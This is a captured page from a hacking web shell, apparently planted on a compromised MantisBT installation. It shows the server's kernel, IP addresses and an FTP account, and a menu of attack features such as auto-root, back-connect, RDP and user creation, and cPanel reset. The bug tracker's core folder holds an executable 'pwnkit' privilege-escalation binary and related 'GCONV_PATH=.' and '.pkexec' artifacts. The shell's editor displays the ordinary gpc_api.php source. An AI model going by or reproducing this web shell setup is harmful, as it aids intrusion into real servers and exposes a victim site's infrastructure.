Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cfdefs
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
.htaccess
59
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
access_api.php
23.38
KB
-rw-r--r--
ajax_api.php
1.78
KB
-rw-r--r--
authentication_api.php
24.22
KB
-rw-r--r--
bug_api.php
59.38
KB
-rw-r--r--
bug_group_action_api.php
11.72
KB
-rw-r--r--
bug_revision_api.php
9.94
KB
-rw-r--r--
bugnote_api.php
22.03
KB
-rw-r--r--
category_api.php
18.27
KB
-rw-r--r--
collapse_api.php
6.54
KB
-rw-r--r--
columns_api.php
41.71
KB
-rw-r--r--
compress_api.php
4.26
KB
-rw-r--r--
config_api.php
20.95
KB
-rw-r--r--
constant_inc.php
15.77
KB
-rw-r--r--
csv_api.php
10.49
KB
-rw-r--r--
current_user_api.php
6.61
KB
-rw-r--r--
custom_field_api.php
44.01
KB
-rw-r--r--
custom_function_api.php
15.43
KB
-rw-r--r--
database_api.php
26.36
KB
-rw-r--r--
date_api.php
8.34
KB
-rw-r--r--
email_api.php
50.19
KB
-rw-r--r--
email_queue_api.php
4.91
KB
-rw-r--r--
error_api.php
12.19
KB
-rw-r--r--
event_api.php
9.3
KB
-rw-r--r--
events_inc.php
4.34
KB
-rw-r--r--
excel_api.php
19.57
KB
-rw-r--r--
file_api.php
32.11
KB
-rw-r--r--
filter_api.php
171.82
KB
-rw-r--r--
form_api.php
6.39
KB
-rw-r--r--
gpc_api.php
14.34
KB
-rw-r--r--
graphviz_api.php
13.6
KB
-rw-r--r--
helper_api.php
16.08
KB
-rw-r--r--
history_api.php
20.75
KB
-rw-r--r--
html_api.php
54.7
KB
-rw-r--r--
html_api_19-09-13.php
54.69
KB
-rw-r--r--
http_api.php
5.71
KB
-rw-r--r--
icon_api.php
2.67
KB
-rw-r--r--
json_api.php
3.37
KB
-rw-r--r--
lang_api.php
8.59
KB
-rw-r--r--
last_visited_api.php
2.82
KB
-rw-r--r--
ldap_api.php
15.59
KB
-rw-r--r--
logging_api.php
3.02
KB
-rw-r--r--
mobile_api.php
3.03
KB
-rw-r--r--
news_api.php
8.87
KB
-rw-r--r--
obsolete.php
5.39
KB
-rw-r--r--
php_api.php
3.17
KB
-rw-r--r--
plugin_api.php
24.38
KB
-rw-r--r--
prepare_api.php
3.32
KB
-rw-r--r--
print_api.php
63.29
KB
-rw-r--r--
profile_api.php
9.35
KB
-rw-r--r--
projax_api.php
3.22
KB
-rw-r--r--
project_api.php
25.56
KB
-rw-r--r--
project_hierarchy_api.php
9.88
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
relationship_api.php
32.31
KB
-rw-r--r--
relationship_graph_api.php
15.13
KB
-rw-r--r--
rss_api.php
4.41
KB
-rw-r--r--
session_api.php
7.69
KB
-rw-r--r--
sponsorship_api.php
12.25
KB
-rw-r--r--
string_api.php
29.12
KB
-rw-r--r--
summary_api.php
39.92
KB
-rw-r--r--
tag_api.php
22.85
KB
-rw-r--r--
tokens_api.php
7.64
KB
-rw-r--r--
twitter_api.php
4.51
KB
-rw-r--r--
url_api.php
2.06
KB
-rw-r--r--
user_api.php
40.99
KB
-rw-r--r--
user_pref_api.php
17.01
KB
-rw-r--r--
utility_api.php
7.63
KB
-rw-r--r--
version_api.php
21.15
KB
-rw-r--r--
wiki_api.php
2.2
KB
-rw-r--r--
xmlhttprequest_api.php
3.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gpc_api.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * @package CoreAPI * @subpackage GPCAPI * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org * * @uses http_api.php */ require_once( 'http_api.php' ); /** * Determines (once-off) whether the client is accessing this script via a * secure connection. If they are, we want to use the Secure cookie flag to * prevent the cookie from being transmitted to other domains. * @global bool $g_cookie_secure_flag_enabled */ $g_cookie_secure_flag_enabled = http_is_protocol_https(); /** * Determines (once-off) whether the version of PHP executing this script has * support for the HttpOnly cookie flag. If so, we will set this flag to true * so that it'll be added to all cookies sent to the client. * @global bool $g_cookie_httponly_flag_enabled */ $g_cookie_httponly_flag_enabled = version_compare( PHP_VERSION, '5.2.0', '>=' ); /** * GET, POST, and Cookie API * --------------- * Retrieve a GPC variable. * If the variable is not set, the default is returned. * If magic_quotes_gpc is on, slashes will be stripped from the value before being returned. * * You may pass in any variable as a default (including null) but if * you pass in *no* default then an error will be triggered if the field * cannot be found * * @param string * @return null */ function gpc_get( $p_var_name, $p_default = null ) { if( isset( $_POST[$p_var_name] ) ) { $t_result = gpc_strip_slashes( $_POST[$p_var_name] ); } else if( isset( $_GET[$p_var_name] ) ) { $t_result = gpc_strip_slashes( $_GET[$p_var_name] ); } else if( func_num_args() > 1 ) { # check for a default passed in (allowing null) $t_result = $p_default; } else { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_VAR_NOT_FOUND, ERROR ); $t_result = null; } return $t_result; } /** * * @param string $p_var_name * @return bool */ function gpc_isset( $p_var_name ) { if( isset( $_POST[$p_var_name] ) ) { return true; } else if( isset( $_GET[$p_var_name] ) ) { return true; } return false; } /** * Retrieve a string GPC variable. Uses gpc_get(). * If you pass in *no* default, an error will be triggered if * the variable does not exist * @param string $p_var_name * @param string $p_default (optional) * @return string|null */ function gpc_get_string( $p_var_name, $p_default = null ) { # Don't pass along a default unless one was given to us # otherwise we prevent an error being triggered $args = func_get_args(); $t_result = call_user_func_array( 'gpc_get', $args ); if( is_array( $t_result ) ) { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_ARRAY_UNEXPECTED, ERROR ); } return $t_result; } /** * Retrieve an integer GPC variable. Uses gpc_get(). * If you pass in *no* default, an error will be triggered if * the variable does not exist * @param string $p_var_name * @param int $p_default (optional) * @return int|null */ function gpc_get_int( $p_var_name, $p_default = null ) { # Don't pass along a default unless one was given to us # otherwise we prevent an error being triggered $args = func_get_args(); $t_result = call_user_func_array( 'gpc_get', $args ); if( is_array( $t_result ) ) { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_ARRAY_UNEXPECTED, ERROR ); } $t_val = str_replace( ' ', '', trim( $t_result ) ); if( !preg_match( "/^-?([0-9])*$/", $t_val ) ) { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_NOT_NUMBER, ERROR ); } return (int) $t_val; } /** * Retrieve a boolean GPC variable. Uses gpc_get(). * If you pass in *no* default, false will be used * @param string $p_var_name * @param bool $p_default (optional) * @return bool|null */ function gpc_get_bool( $p_var_name, $p_default = false ) { $t_result = gpc_get( $p_var_name, $p_default ); if( $t_result === $p_default ) { return $p_default; } else { if( is_array( $t_result ) ) { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_ARRAY_UNEXPECTED, ERROR ); } return gpc_string_to_bool( $t_result ); } } /** * see if a custom field variable is set. Uses gpc_isset(). * @param string $p_var_name * @param int $p_custom_field_type * @return bool */ function gpc_isset_custom_field( $p_var_name, $p_custom_field_type ) { $t_field_name = 'custom_field_' . $p_var_name; switch ($p_custom_field_type ) { case CUSTOM_FIELD_TYPE_DATE: // date field is three dropdowns that default to 0 // Dropdowns are always present, so check if they are set return gpc_isset( $t_field_name . '_day' ) && gpc_get_int( $t_field_name . '_day', 0 ) != 0 && gpc_isset( $t_field_name . '_month' ) && gpc_get_int( $t_field_name . '_month', 0 ) != 0 && gpc_isset( $t_field_name . '_year' ) && gpc_get_int( $t_field_name . '_year', 0 ) != 0 ; case CUSTOM_FIELD_TYPE_STRING: case CUSTOM_FIELD_TYPE_NUMERIC: case CUSTOM_FIELD_TYPE_FLOAT: case CUSTOM_FIELD_TYPE_ENUM: case CUSTOM_FIELD_TYPE_EMAIL: return gpc_isset( $t_field_name ) && !is_blank( gpc_get_string( $t_field_name ) ); default: return gpc_isset( $t_field_name ); } } /** * Retrieve a custom field variable. Uses gpc_get(). * If you pass in *no* default, an error will be triggered if * the variable does not exist * @param string $p_var_name * @param int $p_custom_field_Type * @param mixed $p_default * @return string */ function gpc_get_custom_field( $p_var_name, $p_custom_field_type, $p_default = null ) { switch( $p_custom_field_type ) { case CUSTOM_FIELD_TYPE_MULTILIST: case CUSTOM_FIELD_TYPE_CHECKBOX: // ensure that the default is an array, if set if ( ($p_default !== null) && !is_array($p_default) ) { $p_default = array( $p_default ); } $t_values = gpc_get_string_array( $p_var_name, $p_default ); if( is_array( $t_values ) ) { return implode( '|', $t_values ); } else { return ''; } break; case CUSTOM_FIELD_TYPE_DATE: $t_day = gpc_get_int( $p_var_name . '_day', 0 ); $t_month = gpc_get_int( $p_var_name . '_month', 0 ); $t_year = gpc_get_int( $p_var_name . '_year', 0 ); if(( $t_year == 0 ) || ( $t_month == 0 ) || ( $t_day == 0 ) ) { if( $p_default == null ) { return ''; } else { return $p_default; } } else { return strtotime( $t_year . '-' . $t_month . '-' . $t_day ); } break; default: return gpc_get_string( $p_var_name, $p_default ); } } /** * Retrieve a string array GPC variable. Uses gpc_get(). * If you pass in *no* default, an error will be triggered if * the variable does not exist * @param string $p_var_name * @param array $p_default * @return array */ function gpc_get_string_array( $p_var_name, $p_default = null ) { # Don't pass along a default unless one was given to us # otherwise we prevent an error being triggered $args = func_get_args(); $t_result = call_user_func_array( 'gpc_get', $args ); # If we the result isn't the default we were given or an array, error if( !((( 1 < func_num_args() ) && ( $t_result === $p_default ) ) || is_array( $t_result ) ) ) { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_ARRAY_EXPECTED, ERROR ); } return $t_result; } /** * Retrieve an integer array GPC variable. Uses gpc_get(). * If you pass in *no* default, an error will be triggered if * the variable does not exist * @param string $p_var_name * @param array $p_default * @return array */ function gpc_get_int_array( $p_var_name, $p_default = null ) { # Don't pass along a default unless one was given to us # otherwise we prevent an error being triggered $args = func_get_args(); $t_result = call_user_func_array( 'gpc_get', $args ); # If we the result isn't the default we were given or an array, error if( !((( 1 < func_num_args() ) && ( $t_result === $p_default ) ) || is_array( $t_result ) ) ) { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_ARRAY_EXPECTED, ERROR ); } $t_count = count( $t_result ); for( $i = 0;$i < $t_count;$i++ ) { $t_result[$i] = (int) $t_result[$i]; } return $t_result; } /** * Retrieve a boolean array GPC variable. Uses gpc_get(). * If you pass in *no* default, an error will be triggered if the variable does not exist. * @param string $p_var_name * @param string $p_default * @return array */ function gpc_get_bool_array( $p_var_name, $p_default = null ) { # Don't pass along a default unless one was given to us # otherwise we prevent an error being triggered $args = func_get_args(); $t_result = call_user_func_array( 'gpc_get', $args ); # If we the result isn't the default we were given or an array, error if( !((( 1 < func_num_args() ) && ( $t_result === $p_default ) ) || is_array( $t_result ) ) ) { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_ARRAY_EXPECTED, ERROR ); } for( $i = 0;$i < count( $t_result );$i++ ) { $t_result[$i] = gpc_string_to_bool( $t_result[$i] ); } return $t_result; } /** * Retrieve a cookie variable * You may pass in any variable as a default (including null) but if * you pass in *no* default then an error will be triggered if the cookie cannot be found * @param string $p_var_name * @param string $p_default * @return string */ function gpc_get_cookie( $p_var_name, $p_default = null ) { if( isset( $_COOKIE[$p_var_name] ) ) { $t_result = gpc_strip_slashes( $_COOKIE[$p_var_name] ); } else if( func_num_args() > 1 ) { # check for a default passed in (allowing null) $t_result = $p_default; } else { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_VAR_NOT_FOUND, ERROR ); } return $t_result; } /** * Set a cookie variable * If $p_expire is false instead of a number, the cookie will expire when * the browser is closed; if it is true, the default time from the config * file will be used. * If $p_path or $p_domain are omitted, defaults are used. * Set $p_httponly to false if client-side Javascript needs to read/write * the cookie. Otherwise it is safe to leave this value unspecified, as * the default value is true. * @todo this function is to be modified by Victor to add CRC... for now it just passes the parameters through to setcookie() * @param string $p_name * @param string $p_value * @param bool $p_expire default false * @param string $p_path default null * @param string $p_domain default null * @param bool $p_httponly default true * @return bool - true on success, false on failure */ function gpc_set_cookie( $p_name, $p_value, $p_expire = false, $p_path = null, $p_domain = null, $p_httponly = true ) { global $g_cookie_secure_flag_enabled; global $g_cookie_httponly_flag_enabled; if( false === $p_expire ) { $p_expire = 0; } else if( true === $p_expire ) { $t_cookie_length = config_get( 'cookie_time_length' ); $p_expire = time() + $t_cookie_length; } if( null === $p_path ) { $p_path = config_get( 'cookie_path' ); } if( null === $p_domain ) { $p_domain = config_get( 'cookie_domain' ); } if( $g_cookie_httponly_flag_enabled ) { # The HttpOnly cookie flag is only supported in PHP >= 5.2.0 return setcookie( $p_name, $p_value, $p_expire, $p_path, $p_domain, $g_cookie_secure_flag_enabled, $g_cookie_httponly_flag_enabled ); } return setcookie( $p_name, $p_value, $p_expire, $p_path, $p_domain, $g_cookie_secure_flag_enabled ); } /** * Clear a cookie variable * @param string $p_name * @param string $p_path * @param string $p_domain * @return bool */ function gpc_clear_cookie( $p_name, $p_path = null, $p_domain = null ) { if( null === $p_path ) { $p_path = config_get( 'cookie_path' ); } if( null === $p_domain ) { $p_domain = config_get( 'cookie_domain' ); } if( isset( $_COOKIE[$p_name] ) ) { unset( $_COOKIE[$p_name] ); } # dont try to send cookie if headers are send (guideweb) if( !headers_sent() ) { return setcookie( $p_name, '', -1, $p_path, $p_domain ); } else { return false; } } /** * Retrieve a file variable * You may pass in any variable as a default (including null) but if * you pass in *no* default then an error will be triggered if the file * cannot be found * @param string $p_var_name * @param mixed $p_file * @return mixed */ function gpc_get_file( $p_var_name, $p_default = null ) { if( isset( $_FILES[$p_var_name] ) ) { # FILES are not escaped even if magic_quotes is ON, this applies to Windows paths. $t_result = $_FILES[$p_var_name]; } else if( func_num_args() > 1 ) { # check for a default passed in (allowing null) $t_result = $p_default; } else { error_parameters( $p_var_name ); trigger_error( ERROR_GPC_VAR_NOT_FOUND, ERROR ); } return $t_result; } /** * Convert a POST/GET parameter to an array if it is not already one. * @param string $p_var_name - The name of the parameter * @return null no return value. The $_POST/$_GET are updated as appropriate. */ function gpc_make_array( $p_var_name ) { if( isset( $_POST[$p_var_name] ) && !is_array( $_POST[$p_var_name] ) ) { $_POST[$p_var_name] = array( $_POST[$p_var_name], ); } if( isset( $_GET[$p_var_name] ) && !is_array( $_GET[$p_var_name] ) ) { $_GET[$p_var_name] = array( $_GET[$p_var_name], ); } } /** * Convert a string to a bool * @param string $p_string * @return bool */ function gpc_string_to_bool( $p_string ) { if( 0 == strcasecmp( 'off', $p_string ) || 0 == strcasecmp( 'no', $p_string ) || 0 == strcasecmp( 'false', $p_string ) || 0 == strcasecmp( '', $p_string ) || 0 == strcasecmp( '0', $p_string ) ) { return false; } else { return true; } } /** * Strip slashes if necessary (supports arrays) * @param mixed $p_var * @return mixed */ function gpc_strip_slashes( $p_var ) { if( 0 == get_magic_quotes_gpc() ) { return $p_var; } else if( !is_array( $p_var ) ) { return stripslashes( $p_var ); } else { foreach( $p_var as $key => $value ) { $p_var[$key] = gpc_strip_slashes( $value ); } return $p_var; } }
Close